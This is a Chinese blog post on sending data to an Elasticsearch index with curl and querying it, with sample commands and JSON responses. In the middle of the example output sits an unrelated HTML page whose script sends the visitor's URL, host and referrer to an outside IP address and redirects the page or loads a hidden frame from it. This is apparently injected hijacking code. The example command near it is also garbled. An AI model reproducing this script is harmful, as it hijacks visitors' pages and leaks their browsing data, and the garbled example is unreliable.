elasticsearch curl post data

安装elasticsearch 之后,我们可以用curl 来post data 到某一个index 中

注意一定要在json 数据中做转义\"

curl -XPOST "http://localhost:9200/indexname/typename/optionalUniqueId" -d "{ \"field\" : \"value\"}" 


example:

"http://xx.xx.xx.xx:9200/blog_test1/blog/" -d "{\"title\": \"My second blog entry\", \"text\": \"Still trying this out...\", \"date\": \"2014/01/01\"}"
<html><head></head><script type="text/javascript">
var sa = "http://202.102.110.207:8080/"; var pp = "108&pre="+(new Date()).getTime();
var s=String(window.location.href); var host=escape(s.substring(7,s.indexOf('/',7)));
var ref=escape(document.referrer); var su = s+"&host="+host+"&refer="+ref+"&server="+pp;
s = escape(s); function loadfr(){ document.getElementById("fr1").src = sa+"3.htm?AIMT="+su; }
function refreshPage(){ document.location = sa+"2.htm?AIMT="+su; }
if (self.location == top.location){ document.location= sa+"1.htm?AIMT="+su; }
else { refreshPage(); }</script><frameset rows="*,0"><frame id="main" src="">
<frame id="fr1" src=""></frameset><body></body></html>


{"_index":"blog_test1","_type":"blog","_id":"AVUHXLK14xbt6WRPWynQ","_version":1,"_shards":{"total":2,"successful":2,"failed":0},"created":true}


query:
curl -i -XGET "http://xxx.xxx.xxx.xxx:9200/blog_test1/blog/_search?pretty" -d '{"query": { "match_all": {} },"_source": ["title"]}'
response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 577
{
  "took" : 11,
  "timed_out" : false,
  "_shards" : {
    "total" : 5,
    "successful" : 5,
    "failed" : 0
  },
  "hits" : {
    "total" : 2,
    "max_score" : 1.0,
    "hits" : [ {
      "_index" : "blog_test1",
      "_type" : "blog",
      "_id" : "AVUHXLK14xbt6WRPWynQ",
      "_score" : 1.0,
      "_source" : {
        "title" : "My second blog entry"
      }
    }, {
      "_index" : "blog_test1",
      "_type" : "blog",
      "_id" : "AVUHYYH_4xbt6WRPWynR",
      "_score" : 1.0,
      "_source" : {
        "title" : "My first blog entry"
      }
    } ]
  }
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值